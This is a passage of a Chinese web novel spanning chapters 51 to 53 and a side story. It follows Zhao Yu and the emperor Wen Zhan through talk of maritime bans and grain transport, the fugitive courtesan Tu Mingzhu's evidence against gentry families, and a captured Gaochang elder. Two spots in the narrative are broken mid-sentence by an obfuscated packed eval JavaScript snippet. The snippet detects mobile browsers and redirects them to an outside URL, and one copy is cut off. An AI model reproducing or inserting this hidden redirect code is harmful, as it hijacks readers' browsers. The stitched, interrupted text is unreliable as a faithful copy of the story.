屠珍珠用扇子掩盖住半张芙蓉粉面,轻语,“阿姐嫁的人家再尊贵,也只是做妾。奴家与蒋家可攀不上亲,所以并无往来。阿姐的事情,奴家不知。” 倌人从良之后再卷包逃跑的事情,有时会发生。这些倌人本来做的身体这行生意,对于礼法、守节什么的看的不重。如果侯门森严,深宅寂寞,她们卷了细软同情夫走掉也是常事。这些人做人做事都讲心情,不讲法度。只是屠明珠做倌人的时候能成为“大先生”,这就说明她不是一个今朝有酒今朝醉的女人,既然选了蒋家从良,就说明她这一步是经过深思熟虑过的,按理说,她不应该做得出这样自毁前途的事情来。 再说,这种事情对于还在江湖的屠珍珠来说也是家丑,当面这样说话,的确不好。 老吴最近是发达了,所以也张狂了起来。 赵毓拿了颗枇杷,扔到老吴的肩膀上,“这事儿与三先生有什么关系?你乱说,罚酒罚酒!不要用鸡缸杯,换大碗!” 老吴身边早有姑娘为他换上大碗,倒满了老酒,揪着他的耳朵让他饮下。 朱七姐连忙让人端过来饭菜,不是鲍参翅肚,却是鸡鸭鱼肉俱全,最后是一人一盅陈皮红豆沙,清爽甜美又解酒。 赵毓他们还不想回去,就继续回里面的院子喝茶。 此时,一个笑着的矮冬瓜,十分亲热的滚了进来,他对着赵毓叽里呱啦的说了一通,除了赵毓之外,所有人听的一脸懵。 对于吴音,这几个人听的还算习惯。虽然在朝要讲雍京官话,但是出身江南,操着一口清冽缠绵吴越乡音的手握实权的大人们不少,就在微音殿,文湛与黄枞菖听着听着也就习惯了。裴檀稍微差一些,却也能听懂,至于赵毓,他几乎都要会说吴语了,听懂几句话自然不难。 但是对于这位矮冬瓜,除了赵毓,其他人彻底聋了。 他说的就是岭南话。 赵毓听着也费力,于是矮冬瓜只能勉为其难的说起了口音怪异的官话,“老赵啊,我刚从西北道回来,把最后两张锦绣天下债票给兑了,五十万两一张,锁十年,每年五厘的利,比我自己做生意都赚,多谢多谢。以后要是再有这样的好事,记得关照兄弟我。我这里有银子,都是上好的墨西卡白银,成色足,从南洋过来,不要说锦绣天下债票,就是永镇山川债票也兑的起!” 赵毓摇头,“老陈,瞧你这话说的。锦绣天下债票是为了打仗筹钱用的。如今天下无兵灾,四海无战事,你还是乖乖做你的生意,别想歪门邪道了。” 陈宝金看了看赵毓身后,赵毓拉着他坐下,“没事儿,都是我家人,你说。” 老陈,“朝廷要开海禁了。” 赵毓,“这是年前的事,据说有这个风声,就是朝廷还没确定的旨意。不过,就算开了海禁,也不会打仗啊!” 大郑地大物博,却缺少白银。为了防止海外贸易流失白银,千年来时有海禁。这一次的海禁已经有百年的历史。最近二十年,广州市舶司用瓷器和丝绸在南洋换了大量白银进来,市面上的银荒有所缓解,于是朝廷想要开海禁的说话就像飓风一样,越刮越烈。 陈宝金摇头,“老赵,我说你平时看着挺心细,怎么这么粗?你想啊,开了海禁,紧接着就是开海运。” 一听到海运这两个字,文湛,黄枞菖与裴檀,心中惊了一下。 海运。 这是今天早上,文湛在内阁同楚蔷生说的议题,怎么会传到一个岭南商人的耳中? 赵毓还真不知道这个事情,“为什么?” 陈宝金,“你知道三个月前漕运总督艾长安的事情吗?” 赵毓,“那个时候我在西北我岳父家,我不知道。” 陈宝金,“湖州那个老吴不是有盐引了吗,我跟着他跑了一趟两淮,沿着运河走了一趟,当时回来我心里怎么也不对劲,就是想不明白发生了什么。结果,漕运总督艾长安一出事,我终于知道哪里不对了。” 赵毓,“他怎么了,进诏狱了吗?” 陈宝金,“他死了。上吊死的。” 赵毓,“……” 陈宝金,“堂堂二品大员啊,活生生的吊死了。” 赵毓,“……” 文湛将手中的茶盏放下,薄脆的瓷器碰到了桌面,一声悠远的声响。 陈宝金,“兰芝社想要漕运总督的位子朝廷没给,让艾总督过来。总督艾长安是西北人,抢了他们的饭碗。江南地头蛇们就开始怠工。一会儿说江南发水了,运河不能走,一会儿是刮风了,漕船不下水,结果,拖来拖去,漕运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵毓,“哦,那我明白了。那么,这个漕运总督的死同打仗又有什么关系呢?” 陈宝金,“死了个非江南籍的二品大员,说明漕运已经病入膏肓,朝廷肯定另有打算。江南的税赋运到雍京是头等大事,漕运走不了,那肯定要走海运。原来咱们海运走不通是因为有海禁,现在海禁眼看着要开,那海运一定能走成。只是,闽浙沿海一带海盗倭寇猖獗,为了肃清海域,朝廷的水师一定会出手,只是,不知道这次能走多远。” 其实那些海盗倭寇很多都是外贼勾结江浙内陆的人,有兰芝社的影子。 前朝有个浙直总督,当年的皇帝还封赏他为国之柱石,因为打倭寇打的太狠,被兰芝社的言官们参的入了诏狱,最后死在里面。 陈宝金说话很快,赵毓却也都听明白了,“你真厉害。只是因为听到漕运总督上吊,你就想到朝廷要打仗?” 陈宝金,“老赵,别跟我装大头虾!方才我听见你问周熙他们十三行在两广的储银。实话,我就想着跟你发发财,你吃肉,我喝汤。不过,有件事需要老赵你去做。” 赵毓,“什么?” 陈宝金,“很多事情我们都打听不到,只能靠猜。艾总督这件事情,我们也不知道后面怎么个结果。朝廷是忍了,还是决心开海运,都有可能,因为两边都艰险。你就在雍京,给打听打听,朝廷是否调了那几位水师提督进京,要是调了,那么,东海南海肯定要打仗。” 文湛今天从微音殿离开的时候,已经让楚蔷生写旨意: 调东海水师提督盛执玉,福建水师提督桑有信,雷琼水师提督海鸣臣回雍京述职。除此之外,他还调了山东、浙江、福建与广东四省市舶司的驻外大太监同时进京。 看样子,这个天下的确有聪明人,只是这人太聪明,很多时候也很麻烦。 文湛低垂着眼睑,手指捏过一粒瓜子,慢慢碾着。 赵毓,“好,这事我帮你盯着,不过,这些话你不能同别人说。” 陈宝金,“我这不是信任你,身家性命都能压给你,这才同你说这些的吗?我们南粤子弟性子硬,和老吴周熙他们都不一样。我们没那么斯文。江南文脉昌盛,读书人多,做官的人也多。老吴紧贴着官场,所以才能弄到盐引。他和官家打交道,能发财,也能遭祸。周熙斯文,他身上有功名,虽然是买的可那也是功名。士农工商,这世间,除了王公贵胄,最尊贵的就是读书人。清贵!读书人做官弄|权都是天下为公。我记得你说过,大郑天下,不识字的人十之八|九,做不了读书人,就不是人了吗?” 赵毓,“我还说过这话?” 陈宝金,“我记性好。你说过好多话,都特别好,我都记得。” 赵毓,“其实,当时就是气话。读书人那么多,大郑官员么多,就没好人了吗?” 陈宝金,“有,怎么没有?好人多,坏人也多。还有很多总觉得自己清贵不干正事的,也不少。其实,我就觉得左相楚蔷生特别好,咱们皇帝能用这样的内阁宰辅,也不错。” 赵毓听着就笑,“左相大人怎么好?” 陈宝金,“当年他做言官的时候敢弹劾当年的皇长子祈王!” 赵毓,“……” 陈宝金,“老赵,你听说过祈王吗?” 赵毓直摇头,“没。” 陈宝金,“他是个什么下场我就不说了,只说当年他得势的时候是个什么排场。” 这是赵毓第一次听说白昙花香料的来历。 这种香料是用婆罗尼赫昙花炼出来的。 婆罗尼赫昙花只在珊瑚海的四个小岛上有,这种花开的时间就是一盏茶的功夫。要炼这种香料,就要在开花的时候采摘。 一万人,一年,死死盯着昙花开放,也只能炼制半盒香料,全部进贡到了雍京。 先帝把这些香料全部给了祈王。 但是,半盒香料不够,圣旨下,要进贡一整盒! 朝廷一层压一层,最后压给了陈宝金的商帮。 如果炼不成,所有人就得死! 所以,他们明知道海洋凶险,也只能派人开船越过珊瑚海。当年毁了三艘大船,死了很多人,这些人才终于渡过了珊瑚海,找到一个大岛,上面有漫山遍野的婆罗尼赫昙花。 陈宝金,“我们的人将婆罗尼赫昙花带回来,炼制分量足足的香料,这才渡过了厄运。 赵毓没说话。 陈宝金,“乱世盛世,咱们的命都是蝼蚁,一船人的命顶不了雍京的亲王熏衣服的一盒香料。所以老赵,你说的那句话让我记得特别深。大郑天下,不识字的人十之八|九,做不了读书人,就不是人了吗?我想着要是朝廷开了海禁,开了海运,我们这种人读不了书,做不了官的人,做生意也能奉养双亲,养育子孙。死了之后,还能给儿孙们留下点什么,让他们不用活得像我们一样辛苦。如今祈王早就成灰,坟头的草都一人高了。那位左相大人当年就能弹劾祈王,就是个硬骨头!朝廷有这样的硬骨头,应该能做出大事情来。” 赵毓,“老陈,你说的这些话,真是,……,让我不知道要怎么回答了。” 说完,他拍了拍陈宝金的肩膀三下。 一下比一下用力。 陈宝金的脸疼的有些扭曲,不过他很欣慰,他觉得赵毓被他感动了。 52. 番外·无聊的夫夫生活 3 52 番外·无聊的夫夫生活3 陈金宝走后,文湛让裴檀、梁十一与黄枞菖先到院子中去,随后开口,“这个岭南商人是什么人?” 赵毓,“南粤疍家人,没有入贱籍的贱民。千年来,漂泊海上,生无立锥所,死无葬身地。老陈命苦,五岁死了爹,六岁死了娘,家中只有一个大他十岁的姐姐,为了养活他做了水鸡。” 文湛看了他一眼,赵毓解释,“就是船|妓。” 赵毓继续说,“水鸡可不像外面那些先生们,身上是绫罗,头上戴着玉翠,客人们当官家小姐们捧着供着。那些年,陈家阿姐什么客人都接,有的时候还被打的遍体鳞伤。她也有本事,只用了五年的时间,硬生生的给陈金宝攒了一条能出海的船。老陈十一岁带着一坛子他姐给他做的橄榄菜下南洋,走私丝绸到马六甲发的家。他姐到现在也没成家,他所谓的奉养父母,其实说的就是他家大姐。” 文湛,“疍家人,可是百越后裔?” 赵毓,“不确定。千年来,疍家人不准识字,不准上岸居住,不准与岸上人家通婚。只是这个不让识字的传统真的要人命,他们的来历没有文字记载,弄到现在说不清楚。他们自己的话与郑语还不一样,这个陈金宝极聪明,如今这话能说成这样,已经是多年修炼的结果。” 文湛点点头,忽然道,“这个人很聪明。” 赵毓则笑着说,“而且非常难管,这就是朝廷一直重农抑商的缘由了。” 农人有土地可以傍身,面朝黄土背朝天,土里刨食虽然辛苦,可是心里踏实,人也就老实,不用想一些有的没的。 读书人更好管,在大郑,他们所想所要的,只有官位仕途。只要朝廷扼住他们的仕途就能扼住他们的咽喉。 陈宝金他们不一样,绝境中生长出来的苗子,一旦成事,那就是参天大树,不得了。 其实南洋也有黄花梨,大片大片的,长的异常茂盛,可为什么独琼州的海南黄花梨是稀世之珍?这就是因为它们生长在琼州东岸的吊罗山上,常年遭受暴风骤雨摧|残,很多没长成的小树直接折断,成为旁边树木的肥料。那些存活下来的树,内芯越来越强悍,虽然生长缓慢,数百年才能成材,却是名贵至极。 赵毓说,“陈宝金他们就像海南黄花梨一样,天赋极高,生命力极强,野性难驯。还有,疍家人虽然不认字,但是常年生活在水上,天生的水师好苗子。” 文湛的表情缓和了下来,“对,农人好管。” 赵毓,“可惜,粮食不值钱。土里刨食儿再辛苦,却刨不出白银。” 文湛端起来茶盏抿了一口,放好,让赵毓到他身边来,拉着他的胳膊,让他坐在自己腿上。 “站了那么久,不累吗,坐一会儿。” “我刚才吃多了红豆沙,正好站着顺顺。” 虽然赵毓这样说,还是被文湛拉了过去,横着坐在他双腿上。 文湛说,“今早我让楚蔷生写旨,调东海、福建与雷琼的水师提督进京述职,还有,四省的市舶司驻外太监也回雍京。除了战事,更要想想以后。” 赵毓,“真要打仗?” 文湛,“漕运烂了,没法子。那位岭南商人说的对,江南赋税运到雍京才是头等大事。如果海运开了,这些漕粮从松江装船,经东海一直到天津港,一路上风平浪静,那么即使赋税不用白银也不会损耗许多。” 赵毓也渴了,文湛把自己的茶盏给他。赵毓一口喝干,“要不,你把艾总督涉案的官员杀几个,儆儆猴?” 文湛安静了一下,说,“百年来的沉疴宿疾,不是一时半刻也不是一两个人的性命能解的。漕运之祸不在官员,而在于吏,那些地方上那些树大根深的胥吏与世族。那些官员虽然同兰芝社有着千丝万缕的关系,但是他们好歹大多是科甲正途出身,平时再怎么着,也会修身养性,道学俨然,张嘴子曰诗云,下笔骈四俪六。空泛,对地方上的政务不如那些老吏,也不如世世代代在那里盘踞的豪族。但是,……,说到底,也怪不得他们。朝廷让他们读的书是四书五经,写的文章都是八股,因为科举考的是这些,只是,……,这些于时政经济民生法度还有军政无一用处。” 赵毓,“国家以高爵厚禄,畜养此辈,真犬马不如也。” 文湛听着一愣,随即莞尔。 赵毓,“这是裴公爷他亲爹骂满朝文官的话。先帝写在一张绢纸上,夹在《论语》中,就放在微音殿,我小的时候见过。” 文湛,“裴相,他,……” 赵毓,“他是先帝老师,他死了,可是他,……”赵毓说着,手指碰了碰太阳穴,“他这里的东西都教给了先帝,也影响了他,最后,全部融进了凤化年间所有的政务当中,即使裴氏被灭了三族,但是这些却留了下来。比起那些庸庸碌碌,买妾生儿子开枝散叶的大族们,哪种才算是万古长存呢?” 外面夜色重了起来。 外面,一个女子说话的声音,吴侬软语,如同夜莺唱出娇媚的歌声,“伲糯要见赵老爷。” 赵毓从文湛腿上站起来。 文湛轻声问,“怎么,旧相识?” 赵毓连忙回答,“算认识,不算旧相识。我与周熙喝酒的时候,见过她几次。她既然有事情找我,那我出去看看。” “让她进来。”文湛声音清淡,“你的老相好颇多,让我都见见,也都认识认识。看看哪些是旧相识,哪些是生面孔。” 赵毓,“呃,……,都说了,她不是。再说,我的相好只有一个,你还不知道是哪个?” 文湛不说话,微微低着头,那双鸦翅一般的黑色的美显得极致的清俊。 随后,他轻轻一笑,“还是让人进来,外面月黑风高,说话都不长久。” 赵毓,“……” 正等着,外面想起来黄枞菖的声音,“姑娘说的话我真听不懂。您是要怎么着?是看月还是赏花,还是想要喝口茶润润?” “我要见赵毓赵先生,请您通报一声。”说话的人明显换了另外一位,这次声音清晰多了,官话中带着清魅。 黄枞菖又问,“姑娘,您是?” “我是屠明珠。” 声音未落,赵毓推开了门,他看见屠明珠一身朴素,虽然荆钗布裙难掩姿色,却显得有些憔悴,脸颊上的粉也有些不太服帖。 赵毓,“大先生?” “我现在都沦落到这般田地了。”屠明珠摇头,她耳朵上的明珠坠子也跟着微微晃动了一下,“大先生的称呼,不敢再当了。” 赵毓却说,“雍京城的书寓谁不知道屠先生的名号,这是您自己拼出来的,什么时候当得起。您里面坐。” 房门打开,这几个人进来。 原本叫门的那位小姑娘却没有进来,而是站在外面。 屠明珠看了看黄枞菖与裴檀,梁十一,又看了一眼端坐在堂上安静喝茶的文湛。 她转身对赵毓,“赵先生。我有很要紧的事情与您说。您能不能,……” 赵毓,“清场?” 屠明珠看了看他。 赵毓,“明白。也就是说,不重要的人都挪一下。”转而他对着裴檀说,“裴爷,您就动动脚吧,大先生都发话了,您也别杵在这里了。” 裴檀,“……” 梁十一这次没有离开,而是站在文湛的身边。 黄枞菖听着赵毓的话音,连忙过去,拉着裴檀向外走,“裴爷,我看外面的月色特别好,外院的花儿开的也特别好,我陪您看看去?” 屠明珠虽然只想同赵毓说这些事,但是看他的意思,屋子中这两位是无法清场了。她坐在靠近门边的一把椅子上,端正的姿态,显示她从小接受调|教,是被人精心养育出来的,一举一动都是经过刻意训练的。 赵毓亲自倒了一盏茶给她,“大先生不是嫁回姑苏了吗,怎么又回来了?” “我是蒋家的逃妾。”屠明珠说。“大郑礼法森严,逃妾要是被追回,是要被活活打死的。我手中有蒋家的东西,能不能在赵先生您这里换条活路?” 屠明珠的公爹姑苏蒋复与丈夫姑苏蒋衍都是兰芝社名士,尤其是蒋复,虽然没有在朝为官,在兰芝社却是一言九鼎的人物。他的那些学生们很多都是朝中大臣,这样的人家,必然有一些不为人知的东西。 赵毓没坐,而是从旁边拿过一碟子点心,放在屠明珠手边,“大先生,您别说的这么严重,有什么想要我做的,您说,我看看。能做的,我一定做。” 屠明珠又看了看堂上的文湛同他身后的梁十一。 赵毓说,“大先生您说,不要紧。” 屠明珠,“蒋家三房有人可以弄到盐引,赵先生需要吗?” 赵毓听着就是一乐,“我摆弄不了漕运上那些地头蛇,这笔银子我赚不了。再说,盐引是朝廷的,咱们要是拿朝廷的盐引来做人情,终究不太好。” 屠明珠,“赵先生的生意做的大,看不上这些钱。那么,赵先生可想像十三行的周熙一样,也得个功名?” 赵毓拿起来一块点心,用手接着,慢慢吃,随后说,“我不能出仕。不过,大先生有这样的神通,不需要我做什么也一样可以活的很好吧。” 屠明珠忽然起身,走了两步,跪在赵毓面前,“赵先生,我问您这些,只是想要看看您的心,是不是容易被浮名利禄所打动。” 赵毓将点心放在一旁的桌面上,他后退了两步,低头看着屠明珠,“大先生的意思是,您得找个心如明镜的君子来帮您?那我可能不够格。” 屠明珠,“今年六月,蒋衍为了不让漕船下水,让我去陪漕帮尤七,我不愿,可没法子。蒋家押着我去陪了两次,第三次让我连夜逃了。” 赵毓到屠明珠面前,蹲下,“尤七只是江湖人,蒋家竟然舍得你去?” 屠明珠,“他的背后就是礼部侍郎钱九嶷!” 隔壁那个自比一树梨花压海棠的老梨花? 赵毓,“大先生,这位钱大人可是朝廷命官,我是庶民你是逃妾,我们都不是什么好出身,随意攀咬可是死罪。” 屠明珠咬死了下唇,像是有什么巨大的屈辱让她无法开口,只是,最后还是终于说,“蒋衍第二次带我去漕帮就是陪他。他,……他用了药还有,……” 赵毓,“大先生,蒋衍用一万五千两银子为你赎身,又加了五千两银子做嫁妆,以贵妾的礼节抬您进了蒋氏大门。俗话说,一夜夫妻百夜恩,您对这位蒋衍公子,是否还是余情未了?” 屠明珠,“我恨不得杀了他!为了保命,我手中有蒋家与钱九嶷往来的账目,还有他们同沿河的阙、陈、董、眀四家往来的细目。这四家在当地延绵百余年,虽然族中鲜有高官厚爵之人,但是都有功名在身,经营漕运,甚至可以牵动朝中大人。我给赵先生的东西比盐引与功名都要厉害,那是可以扼住他们咽喉的刀子,至于您想要做什么,端看您的本事了。” “那就好。”赵毓点头。 他转而看了一眼文湛。 方才他才说漕运之祸不仅仅在官员,而在于胥吏,在于盘根错节的地方豪族,这不,就有人将刀子送了过来。 文湛将茶盏放下,微微一点头。 赵毓将屠明珠拉起来,“我就怕,我这边用尽力气,想要给大先生一个逃出生天的机会,结果大先生要是与蒋衍圆梦重温,那我就被过河拆桥了。只要大先生心意已定,那就没什么可顾虑的。不过,您说的这些人都是大人物,我惹不得。我所能做的,仅仅是给大先生一个平安。您看,以后您是想要在雍京城重新做生意,还是找良人嫁了呢?” 屠明珠,“都一样,没有良人。蒋衍当时也是全心全意,可是这些,抵不过他爹的一句话。我想着,以后就在雍京城,还同以前一样,自己做自己的生意,攒些钱,不会老无所依,等到那个时候,找个没人的地方,自己过清净的日子就好。” “好。” 赵毓答应。 此时,外院一阵闹哄,似乎旁边那些兰芝社的灌多了老酒成了魏晋风流的老少才子们到这个院子来了。 屋门被推开。 黄枞菖同裴檀进来。 而兰芝社的那些人则被阻拦在院门外,闹闹哄哄的,不一会儿,只见一个人,推搡着进了这个院子,他后面还有一些喝上头的纨绔们,嚷着下流话,朱七姐亲自阻拦,但是拦不住。 “屠大小姐回雍京了。” “来得正好,本少爷恭候多时了。” …… 赵毓,“咦?这老梨花来的很及时嘛。大先生,您给信儿?” 屠明珠却说,“如果今天赵先生不能护我周全,我本来也就没有一条生路。” 朱七姐拦不住他们。 她知道,今天她要栽。 在雍京城中开书寓,虽然里面的姑娘们被客人尊称一句“先生”,可是说到底,这些“先生”并不是客人那些“先生”。 周熙今天喝了不少酒,已经回去,她已经让人去请了,但是周宅在北城,一时半会儿过不来。 她也不知道屠明珠私自回来。虽然屠明珠是她朱七姐家出去的姑娘,当时蒋家出足了赎身的银子,也出足了聘礼,她同屠明珠也就算断了联系。这次屠明珠回雍京,她是一点消息都没有,但凡有点什么,也不会让她这么摆弄不开。 其实,钱侍郎还好,终究是自重身份,只是坐在园中,他身边是那些没有功名的世家子弟,长辈或者不在雍京做官,或者甚至并不在朝中做官,他们却两个顾忌都没有。 这个屋子中,是赵毓,还有他带的人。 虽然赵毓不是什么达官贵人,王孙公子,但是他同周熙的交情极好。朱七姐不知道他具体做什么生意,但是他出手却是极大方,如果今天在这里得罪了他,不说周熙那里是不是能过得去,只说以后的进项就会少很多。 忽然,里面的屋门打开。 赵毓走出来。 他就倚着廊柱静静望着廊檐下。 园中的桂花飘来甜甜的芬香,月光的清辉洒遍,树影交错,让那些比乔木矮一些的花枝隐藏在交杂斑驳的暗影中。 赵毓也在树影下。 散了酒气,散了花香,站着离他近一些人忽然闻到他身上有股香气。极名贵,极复杂,极馥郁,犹如玫瑰香麝,却像一道箭一般穿过树影花香,熏的人脑袋有些发晕。 “是谁想要见屠大小姐?” 钱侍郎听见这个声音,忽然一愣,即使他喝了很多酒,即使十几年没有再见过这人,但是他对这个人的声音异常熟悉。 赵毓背后还有另外一个人,声音也好听,脆生生的雍京官话,“祖宗,您方才也喝了不少酒,走路也慢一些。” 这一次,钱侍郎如同遭遇了雷击,转而盯着那两个人,慢慢站起来。 赵毓看着他,微微笑着,“呦,我还以为是谁?原来是钱先生,咱们有年头没见过了。这么一晃,我算算,也有十七、八年了吧。” 当年在毓正宫,钱九嶷是他的侍读学士,当然,要排在楚蔷生之后。 钱九嶷精于道学,于圣人规矩,礼法规矩无一不精通。 他在毓正宫是专门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728910|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为皇子们讲读经文的。 钱侍郎好像得了魇症一样看着赵毓,等他看到赵毓身边的黄枞菖之后,他更是如同见了活鬼一般。 祈王! 承怡? 可是,他已经被褫夺封号了,…… 黄枞菖是他从小的伴当,应该知道的人都知道。 但是,如今黄枞菖已经今非昔比,他是司礼监的秉笔大太监,对朝臣的奏折都有批红的权力,此时,他跟在赵毓身后,如同当年一样。 这是怎么回事?! 赵毓笑着对钱侍郎说,“屠大小姐与蒋家的是非是人家的家务事,俗话说,清官能断家务事,咱们都是外人,钱老一生的清誉最重要,可不能毁在这上面。您说,是不是?” 一边说着,赵毓的手指一边按在钱侍郎的肩膀上,拍了拍。 钱九嶷感觉自己肩膀发麻,连同他的头皮一起发麻。 赵毓,“七姐,我记得你锅灶上煲着白粥,拿过来切点鱼片进去,弄点宵夜也给各位醒醒酒!” …… 禁宫,文湛寝殿。 柳丛容布置好了茶具就退了出去。 文湛拿起来一把瓷壶,汝窑官瓷,他给自己和赵毓都倒了盏普洱。 他喜欢素净的颜色,所以元熙年间官窑的瓷器除了青花之外,大多是单一素色的。其实,他用的东西,除了珐琅之外,很少使用描绘的繁花蔓藤。 尤其最近重开了汝窑,按照古法,釉彩的原料使用玛瑙,抚之如绢,观之如玉。 雨过天晴云破处,千峰碧波翠色来。 赵毓用盐水漱了口,也洗了脸,都收拾好了,黄枞菖给他披上一件袍子,他走过来,“晚上喝茶,不睡吗?” 文湛,“你晚上吃了那么多,喝点茶,别急着睡觉,省的积食。” 赵毓想着自己反正也不困,也就坐在文湛身边,端着茶盏慢慢喝,一口,两口,……,一盏,两盏,……,然后,他感觉自己好像又饿了。 “我好像又饿了,你饿不饿?” 文湛看了他一眼。 赵毓下了榻,在旁边的檀木书柜中拿出一个黑漆食盒,他打开,食盒里面是一个四格瓷盒,全是点心。 这是他从小到大的习惯,总是喜欢在书柜中藏点心。 原来是毓正宫,后来是微音殿,再后来就是东宫,现在,是皇帝的寝殿。 这些点心除了赵毓平时喜欢吃的酥饼,还有一种是文湛没有见过的点心。 “快,你尝尝这个。这是百果糕,我丈母娘家的新厨子做的,熬制糖浆用的是葡萄汁,熬到火候够了就加入很多干果和蜜饯,味道还挺有趣的。他们做了好多,派了杨进从云中送过来的。” “怎么,你岳家觉得你在雍京吃不饱?” “桂宝儿总是哭诉,说在雍京这边没可口的点心吃,让他读书读的辛苦,他亲娘当然心疼,总是让人往雍京送好吃的。其实是他自己要撒娇,不过我也捎带着有好吃的就是的。你尝尝?” 赵毓吃了半块,另外半块递给文湛,他却没有接。 皇帝伸手,手指微微压住赵毓后颈,将他向自己面前微微压了一下。 他就在赵毓的嘴边,舔走一些点心碎渣。 赵毓笑着,用额头抵了抵他的额头,“喜欢吃,给你吃这半个,这个很甜的。” 文湛,“不,这样更甜。” 赵毓,“好,你愿意怎样就怎样。” 文湛同他有一搭没一搭的说话。 “那位屠明珠,最后怎么样了。” “我看,她的事情就这么模模糊糊的更好。老钱那边肯定不会再找麻烦了。他看见了我,也看见了黄瓜,还看见我同黄瓜依然很要好,那真是越想越心惊,越想越摸不到底啊。等过了这一阵子,我让周熙再叫上屠明珠几个局,蒋家看到她在老钱眼皮子底下老钱都不敢动作,估计也要偃旗息鼓。只要防着他们暗自下黑手,屠明珠的事情就可以先告一段落。至于老钱和兰芝社,……” 赵毓看了看文湛,文湛又倒了一盏普洱。 赵毓,“屠明珠手中有好东西,那阙、陈、董、眀四家可是实打实的士绅家族,他们在漕河能坐大到这般田地,就是因为身上有功名,不纳税不服徭役,虽然不是什么高官厚爵却比那些高高在上的进士翰林更难斗。” 文湛,“江南大好土地在他们手中,不纳税不服徭役,小民百姓纳的赋税无法运到雍京,朝廷一年在那几个县只能收折价一万两白银的赋税,而一个县为过境的二品大员送的川资路费就在一万五千两。真是百姓苦,朝廷也苦。” 赵毓,“这么惨?呃,那些饱读诗书,每日子曰诗云的清贵大人们对于这样的事情就没有一点办法?” 文湛,“有。加农税。” 赵毓,“这是再刮一层地皮。这些清贵的大人们真的拿我们读不了书的草民不当人看啊。要是我,我也弄他们!只是,……” 文湛,“什么?” 赵毓又咬了一块百果糕,凑过去,“我嘴角还有,你吃不吃?” 文湛愣了一下,才微微低头,轻轻亲了他一下。 赵毓笑着说,“那些是读书人,世上最难惹的就是读书人。凡是惹了他们的人,不管是帝王将相,还是圣人,没有一个有好名声。” 文湛的手指在桌面上轻轻敲了一下。 赵毓,“大郑历史上几代君王,就因为动了一点士大夫手中的土地,增了一些朝廷的赋税,就留下一个一个残暴好色坑儒的名声。文湛,你也要这样做吗?” 文湛,“不这样做,又应该怎样做?” 赵毓看到文湛随便放在手边的书。 翻开。 那是苏东坡的《晁错论》。 …… 天下之患,最不可为者,名为治平无事,而其实有不测之忧。 坐观其变而不为之所,则恐至于不可救。 盛世,看似太平无事,其实很多隐忧掩盖在那一层繁华之下,如果静观其变,最后可能会到糜烂不可救的境地。 文湛,“开了海运之后,同时就是彻底疏通运河。这条运河一定要在朝廷手中,而不是沿途那些地方势力手中。还有,朝廷一定要有一个稳定的有效的收税的方式,像现在这样看天吃饭,不成。” 赵毓,“这可是要挖那些士绅的祖坟。青史就是那帮子有土地的读书人写的。你做了这些,难道真想千秋万代之后,在万年吉壤前面也立个无字碑?表示自己大度,千秋功罪,任人说?” 文湛,“我立那个做什么?浪费一块好的汉白玉。只要你也在万年吉壤陪着我,我什么碑都不立,什么碑文都不写。既然是千秋功罪,那就应该任人评说。” 赵毓又笑,“果然还是个容易满足的家伙。” 文湛看着他,“我可以确保我这一世是太平盛世,灵均登基以后,头几年也不会差到哪里去。可那之后呢?百年后呢?两百年后呢?” “承怡,我生下来就是太子,十九岁登基,是天命让我坐在皇位上,既然如此,我就不能辜负。” “不管那些史书怎么写,我要做一些我应该做的事情。” 赵毓拿着茶盏,轻轻出了口气,点点头,“嗯,好。不过,…… “我之前一直以为你是个循规蹈矩的人,没想到,……” “我要是循规蹈矩,你就不会在我身边,我们也不会有这一世的姻缘。”文湛握住他的手指,在赵毓的指腹上轻轻摩挲着,“我只是比较无趣。不过,承蒙不弃,有你在我身边。” ——番外完—— 53. 53 53 赵毓让黄枞菖进来,“大长老在这里真是活受罪,你去让人抬桶热水进来,找一身干净的衣服,再端些丰盛的饭菜过来。” 黄枞菖答应了一声,他招呼了一声一直等在外面的梁十一,将赵毓的要求说了一遍。 此时,大长老忽然冷笑,“元承将军不用这么客气。咱们还是按照西疆的规矩来,我是你的俘虏,在你们郑人眼中,高昌俘虏是奴隶、是牲畜,不管是什么都不算是人。如果你想要让我活着,那么就请您和您的随从先出去,给我一口冷水一口吃食,让我安稳躺一天就好。” 闻言,黄枞菖微微抬手,让待命的梁十一稍微等一下。 他看着赵毓。 “我从来没有把高昌人当成是奴隶和畜生。”赵毓对大长老说,“你们是我的敌人。一片土地上、一片蓝天下,无法同吃一碗饭无法成为朋友的敌人。” 大长老清冷而苍老的脸上撤出来的笑容,像被黄沙掩埋的面带笑容的佛像。 “虽然我们无法探知元承将军确切的身份,但是看您身上这套暗色缂丝常服,我就知道,您是大郑的权贵。您这样的人,说出的话,如此的冠冕堂皇,好听,却让人齿冷。您应该知道,在雍京城,一个上等高昌女奴的价格还不如您身上这套常服。此时,您说我们无法成为朋友,是不是有些何不食肉糜的意味?” 赵毓今天从禁宫出来,没来得及换衣服。 他抬手,看着手腕上沉水一般颜色却有些繁复花纹的袖子。此时,他身上的衣袍料子是江南制造局从苏州采办的缂丝。 御用贡品。 一寸缂丝一寸金。 “我第一个孩子的母亲就是高昌女子。”赵毓说,“大长老,这件事情,你知道吗?” “什么?!” 此话一出,不止大长老拉摩提,就是在旁边等候的梁十一也是震惊! 只有黄枞菖的神情没有波动,他只是不动声色的看了赵毓一眼。 那一瞬间,梁十一敏锐的感知到,一股极其强烈的却随即消散的担忧。 边境上仗打了那么多年,原本的平安喜乐就如同那些被白盐侵蚀的稀少的耕地,早已经消逝不见了;而国恨家仇却像是战场上的血迹,一层干涸了之后再铺上一层,凝固到再也无法洗刷干净。 普通的郑人可以将高昌女人用链子拴在床脚上拼命糟|蹋,却不会愿意承认自己同高昌女子可以孕育孩子。 那是耻辱! 